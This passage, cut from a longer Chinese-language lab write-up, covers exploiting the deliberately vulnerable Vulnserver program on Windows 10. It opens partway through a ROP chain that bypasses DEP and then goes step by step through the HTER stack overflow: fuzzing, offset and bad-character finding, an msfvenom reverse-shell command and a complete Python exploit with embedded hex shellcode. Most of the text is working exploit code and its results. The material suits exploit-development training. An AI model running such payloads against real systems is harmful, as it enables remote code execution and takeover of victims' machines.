rop1 += struct.pack("<L",0x76c728d8) # ADD EAX,20 # POP EBP # RETN ** [msvcrt.dll] ** | {PAGE_EXECUTE_READ}
rop1 += struct.pack("<L",0x41414141) # junk
rop1 += struct.pack("<L",0x76c728d8) # ADD EAX,20 # POP EBP # RETN ** [msvcrt.dll] ** | {PAGE_EXECUTE_READ}
rop1 += struct.pack("<L",0x41414141) # junk
rop1 += struct.pack("<L",0x76c728d8) # ADD EAX,20 # POP EBP # RETN ** [msvcrt.dll] ** | {PAGE_EXECUTE_READ}
rop1 += struct.pack("<L",0x41414141) # junk
rop1 += struct.pack("<L",0x76c728d8) # ADD EAX,20 # POP EBP # RETN ** [msvcrt.dll] ** | {PAGE_EXECUTE_READ}
rop1 += struct.pack("<L",0x41414141) # junk
rop1 += struct.pack("<L",0x76c728d8) # ADD EAX,20 # POP EBP # RETN ** [msvcrt.dll] ** | {PAGE_EXECUTE_READ}
rop1 += struct.pack("<L",0x41414141) # junk
rop1 += struct.pack("<L",0x76c728d8) # ADD EAX,20 # POP EBP # RETN ** [msvcrt.dll] ** | {PAGE_EXECUTE_READ}
rop1 += struct.pack("<L",0x41414141) # junk
rop1 += struct.pack("<L",0x76c728d8) # ADD EAX,20 # POP EBP # RETN ** [msvcrt.dll] ** | {PAGE_EXECUTE_READ}
rop1 += struct.pack("<L",0x41414141) # junk
rop1 += struct.pack("<L",0x76c728d8) # ADD EAX,20 # POP EBP # RETN ** [msvcrt.dll] ** | {PAGE_EXECUTE_READ}
rop1 += struct.pack("<L",0x41414141) # junk
rop1 += struct.pack("<L",0x76c728d8) # ADD EAX,20 # POP EBP # RETN ** [msvcrt.dll] ** | {PAGE_EXECUTE_READ}
rop1 += struct.pack("<L",0x41414141) # junk
rop1 += struct.pack("<L",0x76c728d8) # ADD EAX,20 # POP EBP # RETN ** [msvcrt.dll] ** | {PAGE_EXECUTE_READ}
rop1 += struct.pack("<L",0x41414141) # junk


rop1 += struct.pack("<L",0x764c7f94) # XCHG EAX,ECX # RETN ** [RPCRT4.dll] ** | {PAGE_EXECUTE_READ}
rop1 += struct.pack("<L",0x75c023ed) # MOV DWORD PTR [EAX],ECX # RETN ** [KERNELBASE.dll] ** | {PAGE_EXECUTE_READ}

rop1 += struct.pack("<L",0x74ea4480) # INC EAX # RETN ** [mswsock.dll] ** | {PAGE_EXECUTE_READ}
rop1 += struct.pack("<L",0x74ea4480) # INC EAX # RETN ** [mswsock.dll] ** | {PAGE_EXECUTE_READ}
rop1 += struct.pack("<L",0x74ea4480) # INC EAX # RETN ** [mswsock.dll] ** | {PAGE_EXECUTE_READ}
rop1 += struct.pack("<L",0x74ea4480) # INC EAX # RETN ** [mswsock.dll] ** | {PAGE_EXECUTE_READ}
rop1 += struct.pack("<L",0x75c023ed) # MOV DWORD PTR [EAX],ECX # RETN ** [KERNELBASE.dll] ** | {PAGE_EXECUTE_READ}


rop1 += struct.pack("<L",0x74ea4480) # INC EAX # RETN ** [mswsock.dll] ** | {PAGE_EXECUTE_READ}
rop1 += struct.pack("<L",0x74ea4480) # INC EAX # RETN ** [mswsock.dll] ** | {PAGE_EXECUTE_READ}
rop1 += struct.pack("<L",0x74ea4480) # INC EAX # RETN ** [mswsock.dll] ** | {PAGE_EXECUTE_READ}
rop1 += struct.pack("<L",0x74ea4480) # INC EAX # RETN ** [mswsock.dll] ** | {PAGE_EXECUTE_READ}
rop1 += struct.pack("<L",0x764c7f94) # XCHG EAX,ECX # RETN ** [RPCRT4.dll] ** | {PAGE_EXECUTE_READ}
rop1 += struct.pack("<L",0x74ea2450) # POP EAX # RETN ** [mswsock.dll] ** | {PAGE_EXECUTE_READ}
rop1 += struct.pack("<L",0xffffffff) # -1
rop1 += struct.pack("<L",0x775e236e) # NEG EAX # RETN ** [KERNEL32.DLL] ** | asciiprint,ascii {PAGE_EXECUTE_READ}
rop1 += struct.pack("<L",0x764c7f94) # XCHG EAX,ECX # RETN ** [RPCRT4.dll] ** | {PAGE_EXECUTE_READ}
rop1 += struct.pack("<L",0x75c023ed) # MOV DWORD PTR [EAX],ECX # RETN ** [KERNELBASE.dll] ** | {PAGE_EXECUTE_READ}


rop1 += struct.pack("<L",0x74ea4480) # INC EAX # RETN ** [mswsock.dll] ** | {PAGE_EXECUTE_READ}
rop1 += struct.pack("<L",0x74ea4480) # INC EAX # RETN ** [mswsock.dll] ** | {PAGE_EXECUTE_READ}
rop1 += struct.pack("<L",0x74ea4480) # INC EAX # RETN ** [mswsock.dll] ** | {PAGE_EXECUTE_READ}
rop1 += struct.pack("<L",0x74ea4480) # INC EAX # RETN ** [mswsock.dll] ** | {PAGE_EXECUTE_READ}
rop1 += struct.pack("<L",0x764c7f94) # XCHG EAX,ECX # RETN ** [RPCRT4.dll] ** | {PAGE_EXECUTE_READ}
rop1 += struct.pack("<L",0x764ee61e) # POP EAX # RETN ** [RPCRT4.dll] ** | {PAGE_EXECUTE_READ}
rop1 += struct.pack("<L",0x80808080) # first value to be added
rop1 += struct.pack("<L",0x776cd7a1) # MOV EBX,EDX # RETN ** [ntdll.dll] ** | {PAGE_EXECUTE_READ}
rop1 += struct.pack("<L",0x76cd32e4) # POP EDX # RETN ** [msvcrt.dll] ** | {PAGE_EXECUTE_READ}
rop1 += struct.pack("<L",0x7f7f7fc0) # second value to be added
rop1 += struct.pack("<L",0x75c8df55) # ADD EAX,EDX # RETN ** [KERNELBASE.dll] ** | {PAGE_EXECUTE_READ}
rop1 += struct.pack("<L",0x764c7f94) # XCHG EAX,ECX # RETN ** [RPCRT4.dll] ** | {PAGE_EXECUTE_READ}
rop1 += struct.pack("<L",0x75c023ed) # MOV DWORD PTR [EAX],ECX # RETN ** [KERNELBASE.dll] ** | {PAGE_EXECUTE_READ}


# rop1 += struct.pack("<L",0x74ea4480) # INC EAX # RETN ** [mswsock.dll] ** | {PAGE_EXECUTE_READ}
# rop1 += struct.pack("<L",0x74ea4480) # INC EAX # RETN ** [mswsock.dll] ** | {PAGE_EXECUTE_READ}
# rop1 += struct.pack("<L",0x74ea4480) # INC EAX # RETN ** [mswsock.dll] ** | {PAGE_EXECUTE_READ}
# rop1 += struct.pack("<L",0x74ea4480) # INC EAX # RETN ** [mswsock.dll] ** | {PAGE_EXECUTE_READ}
# rop1 += struct.pack("<L",0x764c7f94) # XCHG EAX,ECX # RETN ** [RPCRT4.dll] ** | {PAGE_EXECUTE_READ}
# rop1 += struct.pack("<L",0x764ee61e) # POP EAX # RETN ** [RPCRT4.dll] ** | {PAGE_EXECUTE_READ}
# rop1 += struct.pack("<L",0x80808080) # first value to be added
# rop1 += struct.pack("<L",0x776cd7a1) # MOV EBX,EDX # RETN ** [ntdll.dll] ** | {PAGE_EXECUTE_READ}
# rop1 += struct.pack("<L",0x76cd32e4) # POP EDX # RETN ** [msvcrt.dll] ** | {PAGE_EXECUTE_READ}
# rop1 += struct.pack("<L",0x7f7f8f80) # second value to be added
# rop1 += struct.pack("<L",0x75c8df55) # ADD EAX,EDX # RETN ** [KERNELBASE.dll] ** | {PAGE_EXECUTE_READ}
# rop1 += struct.pack("<L",0x764c7f94) # XCHG EAX,ECX # RETN ** [RPCRT4.dll] ** | {PAGE_EXECUTE_READ}
# rop1 += struct.pack("<L",0x75c023ed) # MOV DWORD PTR [EAX],ECX # RETN ** [KERNELBASE.dll] ** | {PAGE_EXECUTE_READ}


rop1 += struct.pack("<L",0x76535eb8) # MOV EAX,EBX # POP EBX # RETN ** [RPCRT4.dll] ** | {PAGE_EXECUTE_READ}
rop1 += struct.pack("<L",0x41414141) # junk
rop1 += struct.pack("<L",0x777a4362) # SUB EAX,16 # RETN ** [ntdll.dll] ** | asciiprint,ascii,alphanum {PAGE_EXECUTE_READ}
rop1 += struct.pack("<L",0x76fa2db7) # DEC EAX # RETN ** [WS2_32.DLL] ** | {PAGE_EXECUTE_READ}
rop1 += struct.pack("<L",0x76fa2db7) # DEC EAX # RETN ** [WS2_32.DLL] ** | {PAGE_EXECUTE_READ}
rop1 += struct.pack("<L",0x76fa2db7) # DEC EAX # RETN ** [WS2_32.DLL] ** | {PAGE_EXECUTE_READ}
rop1 += struct.pack("<L",0x76fa2db7) # DEC EAX # RETN ** [WS2_32.DLL] ** | {PAGE_EXECUTE_READ}
rop1 += struct.pack("<L",0x76fa2db7) # DEC EAX # RETN ** [WS2_32.DLL] ** | {PAGE_EXECUTE_READ}
rop1 += struct.pack("<L",0x76fa2db7) # DEC EAX # RETN ** [WS2_32.DLL] ** | {PAGE_EXECUTE_READ}
rop1 += struct.pack("<L",0x76fa2db7) # DEC EAX # RETN ** [WS2_32.DLL] ** | {PAGE_EXECUTE_READ}
rop1 += struct.pack("<L",0x76fa2db7) # DEC EAX # RETN ** [WS2_32.DLL] ** | {PAGE_EXECUTE_READ}
rop1 += struct.pack("<L",0x76fa2db7) # DEC EAX # RETN ** [WS2_32.DLL] ** | {PAGE_EXECUTE_READ}
rop1 += struct.pack("<L",0x76fa2db7) # DEC EAX # RETN ** [WS2_32.DLL] ** | {PAGE_EXECUTE_READ}
rop1 += struct.pack("<L",0x775a0c40) # XCHG EAX,ESP # RETN ** [KERNEL32.DLL] ** | ascii {PAGE_EXECUTE_READ}


padding = b"C" * (3000-2006-32-len(rop1)-len(shellcode))

PAYLOAD = (
b'TRUN .' +
b'A' * (2006-len(func)) +
func +
eip +
rop1 +
b"\x90"*128+
shellcode+
padding
)

with socket.create_connection((HOST, PORT)) as fd:
fd.sendall(PAYLOAD)

成功反弹shell

DEP

上面使用的是VirtualProtect绕过DEP,如果是VirtualAlloc的话,最终略有不同。因为essfunc.dll的导入表里面没有VirutalAlloc,这里仅做一些解释。看一下VirtualAlloc函数的原型:

1
2
3
4
5
6
LPVOID VirtualAlloc(
[in, optional] LPVOID lpAddress,
[in] SIZE_T dwSize,
[in] DWORD flAllocationType,
[in] DWORD flProtect
);

利用脚本里面,VirtualAlloc的模版如下:

1
2
3
4
5
6
LPVOID VirtualAlloc(
[in, optional] LPVOID lpAddress,
[in] SIZE_T dwSize,
[in] DWORD flAllocationType,
[in] DWORD flProtect
);
1
2
3
4
5
6
func  = pack("<L", (0x45454545)) # dummy VirutalAlloc Address
func += pack("<L", (0x46464646)) # Shellcode Return Address
func += pack("<L", (0x47474747)) # dummy Shellcode Address
func += pack("<L", (0x48484848)) # dummy dwSize
func += pack("<L", (0x49494949)) # dummy flAllocationType
func += pack("<L", (0x51515151)) # dummy flProtect

windbg中看一下vulnserver加载的DLL有哪些:

DEP

RPCRT4.DLL的导入表中,可以找到VirtualAlloc函数:

DEP

可以看到VirtualAlloc函数在导入表的地址为4F0340D0。需要注意的地方:api-ms-win-core-memory-l1-1-0.DLL库在程序运行的时候并没有加载,如果使用这个值,会出现类似如下这样的问题:

DEP

我的理解:查找VirtualAlloc或者VirutalProtect函数在IAT中的地址时,需要注意关联的DLL,如果该DLL在程序运行时加载了,那可以使用通过IAT中函数地址找到该函数,如果DLL在程序运行时没有加载,那么通过IAT中函数地址无法找到该函数运行时地址。

参考:

1.https://www.nirsoft.net/articles/windows_7_kernel_architecture_changes.html

本次实验讨论在Win10 21h2 x86系统下关闭DEP。继续分析Vulnserver HTER,先来看一下逆向的代码,挑重点的看:

BOF

这里的_strtoul函数,将字符串转换为无符号长整数值。具体可以参考:https://docs.microsoft.com/en-us/cpp/c-runtime-library/reference/strtoul-strtoul-l-wcstoul-wcstoul-l?view=msvc-170.本程序是将`16`进制转换为无符号长整数值。意味着我们需要传入`hex`格式的字符串,也就是`0-9,A-F,a-f`都可以。这对后续坏字符查找和最后的`shellcode`编写都很重要。

来看看新的fuzz代码:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
#!/usr/bin/env python3

from boofuzz import *

host = '192.168.91.142'
port = 9999

session = Session(target=Target(connection=SocketConnection(host, port, proto="tcp")))

s_initialize("HTER")

s_string("HTER", fuzzable=False)
s_delim(" ",fuzzable=False)
s_string("FUZZ")

session.connect(s_get("HTER"))
session.fuzz()

这里用到了boofuzz,据说很好用。但是fuzz有个问题,就算程序崩溃了,想要一眼找到具体需要发送的字符长度很难,还是需要测试。

这里从boofuzz找到,5000A的时候是可以崩溃的。后来又测试了3000A,发现也会崩溃。

继续来查找offset,这里不能用msf-pattern-create生产的字符串来进行测试寻址,因为只能为0-9,a-f,A-F,所以这里需要自己构造,使用的方法有点像算法里面的二分查找。

先看下构造的程序:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
#!/usr/bin/env python3
import socket

HOST = '192.168.91.142'
PORT = 9999

offset = b'A'*1000+b'B'*1000+b'C'*1000

PAYLOAD = (
b'HTER ' +
offset
)

with socket.create_connection((HOST, PORT)) as fd:
fd.sendall(PAYLOAD)

可以看到EIPcccccccc覆盖:

BOF

后续应该继续在c字符串所在位置进行细分,比较繁琐,最后确定offset2041

最终的确定offset程序如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
#!/usr/bin/env python3
import socket

HOST = '192.168.91.142'
PORT = 9999

offset = b'A'*1000+b'B'*1000+b'C'*41+b'deadbeef'+b'A'*955

PAYLOAD = (
b'HTER ' +
offset
)

with socket.create_connection((HOST, PORT)) as fd:
fd.sendall(PAYLOAD)

BOF

查找badchar的代码如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
#!/usr/bin/env python3
import socket

HOST = '192.168.91.142'
PORT = 9999

# badchar = b"\x01\x02\x03\x04\x05\x06\x07\x08\x09\x0a\x0b\x0c\x0d\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f\x20"
# badchar += b"\x21\x22\x23\x24\x25\x26\x27\x28\x29\x2a\x2b\x2c\x2d\x2e\x2f\x30\x31\x32\x33\x34\x35\x36\x37\x38\x39\x3a\x3b\x3c\x3d\x3e\x3f\x40"
# badchar += b"\x41\x42\x43\x44\x45\x46\x47\x48\x49\x4a\x4b\x4c\x4d\x4e\x4f\x50\x51\x52\x53\x54\x55\x56\x57\x58\x59\x5a\x5b\x5c\x5d\x5e\x5f\x60"
# badchar += b"\x61\x62\x63\x64\x65\x66\x67\x68\x69\x6a\x6b\x6c\x6d\x6e\x6f\x70\x71\x72\x73\x74\x75\x76\x77\x78\x79\x7a\x7b\x7c\x7d\x7e\x7f\x80"
# badchar += b"\x81\x82\x83\x84\x85\x86\x87\x88\x89\x8a\x8b\x8c\x8d\x8e\x8f\x90\x91\x92\x93\x94\x95\x96\x97\x98\x99\x9a\x9b\x9c\x9d\x9e\x9f\xa0"
# badchar += b"\xa1\xa2\xa3\xa4\xa5\xa6\xa7\xa8\xa9\xaa\xab\xac\xad\xae\xaf\xb0\xb1\xb2\xb3\xb4\xb5\xb6\xb7\xb8\xb9\xba\xbb\xbc\xbd\xbe\xbf\xc0"
# badchar += b"\xc1\xc2\xc3\xc4\xc5\xc6\xc7\xc8\xc9\xca\xcb\xcc\xcd\xce\xcf\xd0\xd1\xd2\xd3\xd4\xd5\xd6\xd7\xd8\xd9\xda\xdb\xdc\xdd\xde\xdf\xe0"
# badchar += b"\xe1\xe2\xe3\xe4\xe5\xe6\xe7\xe8\xe9\xea\xeb\xec\xed\xee\xef\xf0\xf1\xf2\xf3\xf4\xf5\xf6\xf7\xf8\xf9\xfa\xfb\xfc\xfd\xfe\xff"

badchar = b"0102030405060708090a0b0c0d0e0f101112131415161718191a1b1c1d1e1f20"
badchar += b"2122232425262728292a2b2c2d2e2f303132333435363738393a3b3c3d3e3f40"
badchar += b"4142434445464748494a4b4c4d4e4f505152535455565758595a5b5c5d5e5f60"
badchar += b"6162636465666768696a6b6c6d6e6f707172737475767778797a7b7c7d7e7f80"
badchar += b"8182838485868788898a8b8c8d8e8f909192939495969798999a9b9c9d9e9fa0"
badchar += b"a1a2a3a4a5a6a7a8a9aaabacadaeafb0b1b2b3b4b5b6b7b8b9babbbcbdbebfc0"
badchar += b"c1c2c3c4c5c6c7c8c9cacbcccdcecfd0d1d2d3d4d5d6d7d8d9dadbdcdddedfe0"
badchar += b"e1e2e3e4e5e6e7e8e9eaebecedeeeff0f1f2f3f4f5f6f7f8f9fafbfcfdfeff"


payload = b'A'*2041+b'deadbeef'+badchar+b'C'*(955-len(badchar))


PAYLOAD = (
b'HTER ' +
payload
)

with socket.create_connection((HOST, PORT)) as fd:
fd.sendall(PAYLOAD)

注意看,坏字符串都转换为hex格式了。来看一下windbg中的情况:

BOF

BOF

可以发现测试的坏字符串能都保存在内存中,也就是说00为唯一的坏字符。

获取jmp esp的地址:

BOF

这里,选择0x625011af用于覆盖EIP

生成hex格式的shellcode:

1
msfvenom -p windows/shell_reverse_tcp LHOST=192.168.91.137 LPORT=4444  EXITFUNC=thread -f hex -b '\x00'

BOF

最终的利用代码如下所示:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
#!/usr/bin/env python3
import socket

HOST = '192.168.91.142'
PORT = 9999

shellcode = b'dad6beb7988f99d97424f45f29c9b1523177170377178358646d6c5a7df08fa27e9506474f957d0ce025f5400dcd5b7086a373772f09a2b6b02296d93239cb390af21e384befd368047b419c21315a1779d7dac4cad6cb5b4081cb5a85b94544ca841cff38729f29717b0c14bd8e4c517a713bab780c3c6802cac96aa4996a56544dec1d5a3a7a797fbdaff27b364ed40d0c75f056d614a132b929b19c668cba3172bde15db78c199edf876aac403ce49c099af3e3235a6b1acc9ba2d998cbdcc8a0871cf474074c5a27e83c1a97805695c8b1597f615ba0e84e34f16126470563ebcee3e90387bc85ba82363742193377c8aec43639dad6afc9918466d50fa0e544d43063754367244b9aedd8f2341321627e97fe57811672e3a5084aece17c02bbbf2ae4150e84becad8404621db16476cadf6f6d9e809368efc722a2e02a9ee4ee17b1be7bceea66a3fc5e592bcef9560dc9a902d5a77e93e0f775e3e1a'
nops = b'90'*32

payload = b'A'*2041+b'af115062'+nops+shellcode+b'C'*(955-len(shellcode)-32)


PAYLOAD = (
b'HTER ' +
payload
)

with socket.create_connection((HOST, PORT)) as fd:
fd.sendall(PAYLOAD)

成功反弹的shell

BOF

参考:

1.https://captmeelo.com/exploitdev/2018/07/01/vulnserver-hter.html